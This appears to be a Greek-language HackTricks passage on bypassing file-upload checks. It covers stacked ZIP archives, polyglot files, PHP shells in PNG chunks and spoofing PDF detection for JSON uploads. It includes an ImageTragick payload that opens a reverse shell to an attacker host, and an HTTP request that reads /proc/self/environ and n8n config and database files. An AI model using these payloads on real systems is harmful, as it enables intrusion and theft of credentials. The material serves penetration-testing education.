Η συνένωση δύο έγκυρων ZIP αρχείων παράγει ένα blob όπου διαφορετικοί parsers εστιάζουν σε διαφορετικές EOCD εγγραφές. Πολλά εργαλεία εντοπίζουν το τελευταίο End Of Central Directory (EOCD), ενώ κάποιες βιβλιοθήκες (π.χ., ZipArchive σε συγκεκριμένα workflows) μπορεί να κάνουν parse στο πρώτο archive που βρίσκουν. Εάν η validation απαριθμήσει το πρώτο archive και η εξαγωγή χρησιμοποιήσει άλλο εργαλείο που σέβεται το τελευταίο EOCD, ένα benign archive μπορεί να περάσει τους ελέγχους ενώ ένα malicious θα εξαχθεί.

PoC:

# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

Μοτίβο κατάχρησης

  • Δημιουργήστε ένα αβλαβές αρχείο (επιτρεπόμενος τύπος, π.χ. PDF) και ένα δεύτερο αρχείο που περιέχει μια μπλοκαρισμένη επέκταση (π.χ. shell.php).
  • Συγχωνεύστε τα: cat benign.zip evil.zip > combined.zip.
  • Εάν ο server επικυρώνει με έναν parser (βλέπει benign.zip) αλλά αποσυμπιέζει με άλλον (επεξεργάζεται evil.zip), το μπλοκαρισμένο αρχείο καταλήγει στη διαδρομή εξαγωγής.

ImageTragic

Ανεβάστε αυτό το περιεχόμενο με επέκταση εικόνας για να εκμεταλλευτείτε την ευπάθεια (ImageMagick , 7.0.1-1) (από το exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Ενσωμάτωση PHP Shell σε PNG

Η ενσωμάτωση ενός PHP shell στο chunk IDAT ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις imagecopyresized και imagecopyresampled του PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για την αλλαγή μεγέθους (resizing) και το resampling εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις ενέργειες αποτελεί σημαντικό πλεονέκτημα σε ορισμένες περιπτώσεις χρήσης.

Μια λεπτομερής ανάλυση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας και των πιθανών εφαρμογών, παρέχεται στο ακόλουθο άρθρο: “Encoding Web Shells in PNG IDAT chunks”. Αυτή η πηγή προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της.

Περισσότερες πληροφορίες: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot αρχεία

Τα polyglot αρχεία λειτουργούν ως μοναδικό εργαλείο στην ασφάλεια πληροφοριών, ενεργώντας σαν χαμαιλέοντες που μπορούν να υπάρχουν νόμιμα σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι το GIFAR, ένα υβρίδιο που λειτουργεί τόσο ως GIF όσο και ως αρχείο RAR. Τέτοια αρχεία δεν περιορίζονται σε αυτό το ζευγάρι· συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.

Η κύρια χρησιμότητα των polyglot αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν μέτρα ασφαλείας που φιλτράρουν αρχεία βάσει τύπου. Συνήθης πρακτική σε διάφορες εφαρμογές είναι να επιτρέπονται μόνο ορισμένοι τύποι αρχείων για upload — όπως JPEG, GIF ή DOC — για να μειωθεί ο κίνδυνος από πιθανώς επικίνδυνα format (π.χ., JS, PHP ή Phar files). Ωστόσο, ένα polyglot, συμμορφούμενο με τις δομικές προϋποθέσεις πολλαπλών τύπων αρχείων, μπορεί να παρακάμψει κρυφά αυτούς τους περιορισμούς.

Παρά την προσαρμοστικότητά τους, τα polyglots έχουν περιορισμούς. Για παράδειγμα, ενώ ένα polyglot μπορεί να ενσωματώνει ταυτόχρονα ένα PHAR αρχείο (PHp ARchive) και ένα JPEG, η επιτυχία του upload μπορεί να εξαρτάται από τις πολιτικές επιτρεπόμενων επεκτάσεων της πλατφόρμας. Εάν το σύστημα είναι αυστηρό όσον αφορά τις επιτρεπόμενες επεκτάσεις, η απλή δομική διπλοτητα ενός polyglot ίσως να μην αρκεί για να εγγυηθεί το upload.

Περισσότερες πληροφορίες: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Ανέβασμα έγκυρων JSON σαν να ήταν PDF

Πώς να αποφύγετε τον εντοπισμό τύπου αρχείου ανεβάζοντας ένα έγκυρο JSON αρχείο, ακόμη κι αν δεν επιτρέπεται, πλαστογραφώντας ένα PDF αρχείο (τεχνικές από this blog post):

  • mmmagic βιβλιοθήκη: Εφόσον τα magic bytes %PDF βρίσκονται στα πρώτα 1024 bytes θεωρείται έγκυρο (δείτε παράδειγμα στο άρθρο)
  • pdflib βιβλιοθήκη: Προσθέστε μια ψεύτικη μορφή PDF μέσα σε ένα field του JSON ώστε η βιβλιοθήκη να πιστεύει ότι είναι PDF (δείτε παράδειγμα στο άρθρο)
  • file binary: Μπορεί να διαβάσει μέχρι 1048576 bytes από ένα αρχείο. Δημιουργήστε απλώς ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να αναλύσει το περιεχόμενο ως JSON και στη συνέχεια μέσα στο JSON βάλτε το αρχικό μέρος ενός πραγματικού PDF και θα νομίσει ότι είναι PDF

Σύγχυση Content-Type για αυθαίρετη ανάγνωση αρχείων

Κάποιοι upload handlers εμπιστεύονται το parsed request body (π.χ., context.getBodyData().files) και αργότερα αντιγράφουν το αρχείο από το file.filepath χωρίς πρώτα να επιβάλλουν το Content-Type: multipart/form-data. Αν ο server αποδέχεται application/json, μπορείτε να παρέχετε ένα ψεύτικο αντικείμενο files που δείχνει το filepath σε οποιοδήποτε τοπικό μονοπάτι, μετατρέποντας τη ροή upload σε primitive για αυθαίρετη ανάγνωση αρχείων.

Παράδειγμα POST εναντίον μιας ροής φόρμας που επιστρέφει το ανεβασμένο binary στην HTTP απάντηση:

POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json

{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}

Backend αντιγράφει file.filepath, οπότε η απόκριση επιστρέφει το περιεχόμενο αυτού του μονοπατιού. Συνηθισμένη αλληλουχία: διάβασε /proc/self/environ για να μάθεις $HOME, μετά $HOME/.n8n/config για keys και $HOME/.n8n/database.sqlite για αναγνωριστικά χρηστών.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks